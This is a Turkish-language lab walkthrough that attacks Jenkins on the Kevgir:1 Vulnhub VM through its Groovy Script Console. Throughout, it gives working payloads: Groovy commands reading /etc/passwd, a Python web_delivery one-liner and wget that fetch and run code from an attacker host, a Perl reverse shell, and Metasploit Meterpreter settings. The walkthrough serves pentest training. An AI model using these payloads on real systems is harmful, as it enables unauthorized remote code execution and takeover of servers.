Yazıda kullanılan Kevgir:1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/kevgir-1,137/
Mevcut ortamda Jenkins uygulaması 10.100.50.133 IP adresinin TCP 9000. portundan hizmet vermektedir.
nmap -Pn -n –reason -p9000 10.100.50.133 -sV
Jenkins, yazılım geliştirma süreçlerindeki derleme, test, build, deployment gibi işlemleri veya kod reposundaki değişikliklerin takibi, alarm maillerinin iletilmesi gibi çalışmaları otomatikleştirmek için kullanılan Java ile geliştrilmiş açık kaynak kodlu entegrasyon aracıdır.
Kevgir: 1 sanal makinesindeki Jenkins uygulamasına ait kimlik bilgileri MSF jenkins_login auxiliary modülü kullanılarak tespit edilir. Detaylar için kaynaklardaki Siberportal yazısı incelenebilir. Mevcut ortam için kimlik bilgileri aşağıdaki gibidir.
URL: http://10.100.50.133:9000/login?from=%2F
Kullanıcı adı: admin
Parola: hello
Ortamda sadece Jarvis kullanıcısının bulunduğu görülmektedir.
http://10.100.50.133:9000/asynchPeople/
Jenkins yönetim ekranında bir çok yapılandırma işlemi gerçekleştirilebilmektedir.
http://10.100.50.133:9000/manage
Jenkins; hata tespiti, problem giderme gibi amaçlar ile sunucu üzerinde komut çalıştırabilmeyi destekler. Script Console üzerinden çalıştırılabilecek komutlar için Groovy betik dili kullanılabilir.
http://10.100.50.133:9000/script
1) ProcessBuilder Sınıfı İle İşletim Sisteminde Kod Çalıştırma
İşletim sistemi üzerinde komut çalıştırmak için “ProcessBuilder” sınıfı kullanılabilir.
println new ProcessBuilder(‘id’).redirectErrorStream(true).start().text;
println new ProcessBuilder(‘uname’,’-a’).redirectErrorStream(true).start().text;
println new ProcessBuilder(‘cat’,’/etc/lsb-release’,’etc/os-release’).start().text;
Görüldüğü gibi, Jenkins uygulaması işletim sistemi üzerinde standart uygulama kullanıcısı yetkisi ile çalışmaktadır.
2) execute() Metodu İle İşletim Sisteminde Katar Formatındaki Kod Çalıştırma
İşletim sisteminde komut çalıştırmak için kullanılan yöntemlerden birisi de “execute()” metodudur.
def komutCiktisi = new StringBuffer(), hataMesaji = new StringBuffer()
def proses = ‘grep /bin/bash /etc/passwd’.execute()
proses.consumeProcessOutput(komutCiktisi, hataMesaji)
proses.waitForOrKill(1000)
println “Sonuc:\n$komutCiktisi”
println “Hata Mesaji:\n$hataMesaji”
Not: Yukarıdaki kullanım şekli ile başarılan komut çıktısı ve alınan hatalar birbirinden ayrılabilmiştir. Ancak bir çok özel karakterin ( | , & , > , < ,… vb.) işlenmesi sırasında hata alınabilmektedir. Bu sebeple, “cat /etc/passwd | grep /bin/bash” yerine “grep /bin/bash /etc/passwd” tercih edilmiştir.
…
def proses = “cat /etc/passwd | grep bash”.execute()
…
3) execute() Metodu İle Katar Formatındaki Python Kod Dosyasını Çalıştırarak Ters Bağlantı Elde Etme
Özel karakter kısıtını atlatmak için kullanılan yöntemlerden birisi bu komutları dosyaya kaydetmek, sonrasında bu dosyayı indirerek çalıştırmaktadır. Bu amaçla, Kali üzerinde MSF web_delivery auxiliary modülü kullanılabilir.
msfconsole -q
use multi/script/web_delivery
set LHOST 10.100.50.134
set LPORT 443
show options
Modülün çalıştırılması ile komut oluşur.
exploit
Oluşan komut aşağıdaki gibidir.
python -c “import sys;u=__import__(‘urllib’+{2:”,3:’.request’}[sys.version_info[0]],fromlist=(‘urlopen’,));r=u.urlopen(‘http://10.100.50.134:8080/uRFSp23uHlz’);exec(r.read());”
Oluşan komut içerisindeki betik kısmı bir dosyaya kaydedilir. Ve kurban Kevgir: 1 sanal makinesi üzerinden indirilmek üzere web servisi başlatılır.
echo “import sys;u=__import__(‘urllib’+{2:”,3:’.request’}[sys.version_info[0]],fromlist=(‘urlopen’,));r=u.urlopen(‘http://10.100.50.134:8080/uRFSp23uHlz’);exec(r.read());” > TersBaglanti.py
cat TersBaglanti.py
python -m SimpleHTTPServer 5555
Kali üzerindeki bu dosya Script Console ekranı ile Kevgir: 1 sanal makinesinin disk sistemine (/tmp gibi yazılabilir bir dizine) indirilir.
…
def proses = ‘wget http://10.100.50.134:5555/TersBaglanti.py -O /tmp/betik.py’.execute()
…
İndirilen bu Python dosyasının çalıştırılması ile ters bağlantı elde edilebilir.
…
def proses = ‘python /tmp/betik.py’.execute()
…sessions -i 1
getuid
getpid
shell
ps -ef | grep 6235
4) execute() Metodu İle İşletim Sisteminde Dizi Formatındaki Kod Çalıştırma
İşletim sisteminde “execute()” metodu kullanılarak bir katar yerine dizi de çalıştırılabilir.
def proses = ([“sh”, “-c”, “cat /etc/passwd | grep jenkins & ps -ef | grep jenkins”] as String[]).execute().text
Böylece özel karakterin kullanımı da sağlanmış olmaktadır.
5) execute() Metodu İle Dizi Formatındaki Perl Kodunu Çalıştırarak Ters Bağlantı Elde Etme
Dizi kullanılarak ters bağlantı elde etmek için bir dizi ifadesi/değişkeni “execute()” metodu ile çalıştırılabilir. Bunun için öncelikle ters bağlantıyı yakalayacak dinleyici başlatılır.
nc -nlvp 443
PentestMonkey üzerindeki ters bağlantı yöntemlerinden birisi kullanılabilir. Perl ile ters bağlantı aşağıdaki gibi elde edilebilir.
def proses = ([“perl”, “-e”, “use Socket;\$i=\”10.100.50.134\”;\$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>&S\”);open(STDOUT,\”>&S\”);open(STDERR,\”>&S\”);exec(\”/bin/sh -i\”);};”] as String[]).execute()
6) MSF jenkins_script_console İstismar Modülü ile Ters Bağlantı Elde Etme
Jenkins kimlik bilgileri elde edildikten sonra MSF jenkins_script_console istismar modülü ile Meterpreter bağlantısı elde edilebilir.
use exploit/multi/http/jenkins_script_console
set RHOST 10.100.50.133
set RPORT 9000
set TARGETURI /
set USERNAME admin
set PASSWORD hello
show targets
set TARGET 1
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 10.100.50.134
set LPORT 24680
Hedef uygulama, işletim sistemi bilgileri ve PAYLOAD bilgileri girilerek modül ayarlanmış olur.
show options
Modül çalıştırıldığında komut satırı erişimi elde edilmiş olur.
exploit
getuid
shell
pwd
uname -a
Modül incelendiğinde jcode değişkeninin çalıştırıldığı görülmektedir.
Kaynaklar:
https://alcakmuhendis.wordpress.com/2017/10/12/ders-1-jenkins-nedir/
https://yunusyildirim.blogspot.com/2016/04/kevgir-vm-cozum-walkthrough.html
https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/
https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/